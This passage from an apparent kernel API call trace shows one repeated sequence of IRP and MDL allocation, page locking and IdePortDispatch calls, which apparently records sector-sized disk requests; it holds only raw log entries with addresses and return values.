Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.754] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.754] IdePortDispatch () returned 0x103 [0058.754] KeWaitForMutexObject () returned 0x0 [0058.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.755] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.755] IdePortDispatch () returned 0x103 [0058.755] KeWaitForMutexObject () returned 0x0 [0058.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.755] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.755] IdePortDispatch () returned 0x103 [0058.755] KeWaitForMutexObject () returned 0x0 [0058.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.755] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.755] IdePortDispatch () returned 0x103 [0058.755] KeWaitForMutexObject () returned 0x0 [0058.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.755] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.755] IdePortDispatch () returned 0x103 [0058.756] KeWaitForMutexObject () returned 0x0 [0058.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.756] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.756] IdePortDispatch () returned 0x103 [0058.756] KeWaitForMutexObject () returned 0x0 [0058.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.756] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.756] IdePortDispatch () returned 0x103 [0058.756] KeWaitForMutexObject () returned 0x0 [0058.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.757] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.757] IdePortDispatch () returned 0x103 [0058.757] KeWaitForMutexObject () returned 0x0 [0058.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.757] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.757] IdePortDispatch () returned 0x103 [0058.757] KeWaitForMutexObject () returned 0x0 [0058.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.757] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.757] IdePortDispatch () returned 0x103 [0058.757] KeWaitForMutexObject () returned 0x0 [0058.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.757] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.757] IdePortDispatch () returned 0x103 [0058.758] KeWaitForMutexObject () returned 0x0 [0058.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.758] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.758] IdePortDispatch () returned 0x103 [0058.758] KeWaitForMutexObject () returned 0x0 [0058.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.758] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.758] IdePortDispatch () returned 0x103 [0058.758] KeWaitForMutexObject () returned 0x0 [0058.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.758] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.758] IdePortDispatch () returned 0x103 [0058.759] KeWaitForMutexObject () returned 0x0 [0058.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.759] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.759] IdePortDispatch () returned 0x103 [0058.759] KeWaitForMutexObject () returned 0x0 [0058.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.759] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.759] IdePortDispatch () returned 0x103 [0058.759] KeWaitForMutexObject () returned 0x0 [0058.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.759] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.759] IdePortDispatch () returned 0x103 [0058.760] KeWaitForMutexObject () returned 0x0 [0058.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.760] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.760] IdePortDispatch () returned 0x103 [0058.760] KeWaitForMutexObject () returned 0x0 [0058.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.760] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.760] IdePortDispatch () returned 0x103 [0058.760] KeWaitForMutexObject () returned 0x0 [0058.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.760] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.760] IdePortDispatch () returned 0x103 [0058.760] KeWaitForMutexObject () returned 0x0 [0058.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.761] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.761] IdePortDispatch () returned 0x103 [0058.761] KeWaitForMutexObject () returned 0x0 [0058.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.761] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.761] IdePortDispatch () returned 0x103 [0058.761] KeWaitForMutexObject () returned 0x0 [0058.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.761] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.761] IdePortDispatch () returned 0x103 [0058.761] KeWaitForMutexObject () returned 0x0 [0058.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.761] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.761] IdePortDispatch () returned 0x103 [0058.762] KeWaitForMutexObject () returned 0x0 [0058.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.762] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.762] IdePortDispatch () returned 0x103 [0058.762] KeWaitForMutexObject () returned 0x0 [0058.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.797] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.797] IdePortDispatch () returned 0x103 [0058.797] KeWaitForMutexObject () returned 0x0 [0058.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.844] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.844] IdePortDispatch () returned 0x103 [0058.844] KeWaitForMutexObject () returned 0x0 [0058.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.848] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.848] IdePortDispatch () returned 0x103 [0058.848] KeWaitForMutexObject () returned 0x0 [0058.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.848] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.848] IdePortDispatch () returned 0x103 [0058.848] KeWaitForMutexObject () returned 0x0 [0058.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.848] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.848] IdePortDispatch () returned 0x103 [0058.849] KeWaitForMutexObject () returned 0x0 [0058.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.849] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.849] IdePortDispatch () returned 0x103 [0058.849] KeWaitForMutexObject () returned 0x0 [0058.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.849] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.849] IdePortDispatch () returned 0x103 [0058.849] KeWaitForMutexObject () returned 0x0 [0058.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.850] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.850] IdePortDispatch () returned 0x103 [0058.850] KeWaitForMutexObject () returned 0x0 [0058.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.850] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.850] IdePortDispatch () returned 0x103 [0058.850] KeWaitForMutexObject () returned 0x0 [0058.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.850] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.851] IdePortDispatch () returned 0x103 [0058.851] KeWaitForMutexObject () returned 0x0 [0058.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.851] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.851] IdePortDispatch () returned 0x103 [0058.851] KeWaitForMutexObject () returned 0x0 [0058.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.851] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.851] IdePortDispatch () returned 0x103 [0058.852] KeWaitForMutexObject () returned 0x0 [0058.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.852] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.852] IdePortDispatch () returned 0x103 [0058.852] KeWaitForMutexObject () returned 0x0 [0058.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.852] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.852] IdePortDispatch () returned 0x103 [0058.852] KeWaitForMutexObject () returned 0x0 [0058.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.853] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.853] IdePortDispatch () returned 0x103 [0058.853] KeWaitForMutexObject () returned 0x0 [0058.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.853] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.853] IdePortDispatch () returned 0x103 [0058.853] KeWaitForMutexObject () returned 0x0 [0058.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.853] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.853] IdePortDispatch () returned 0x103 [0058.854] KeWaitForMutexObject () returned 0x0 [0058.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: 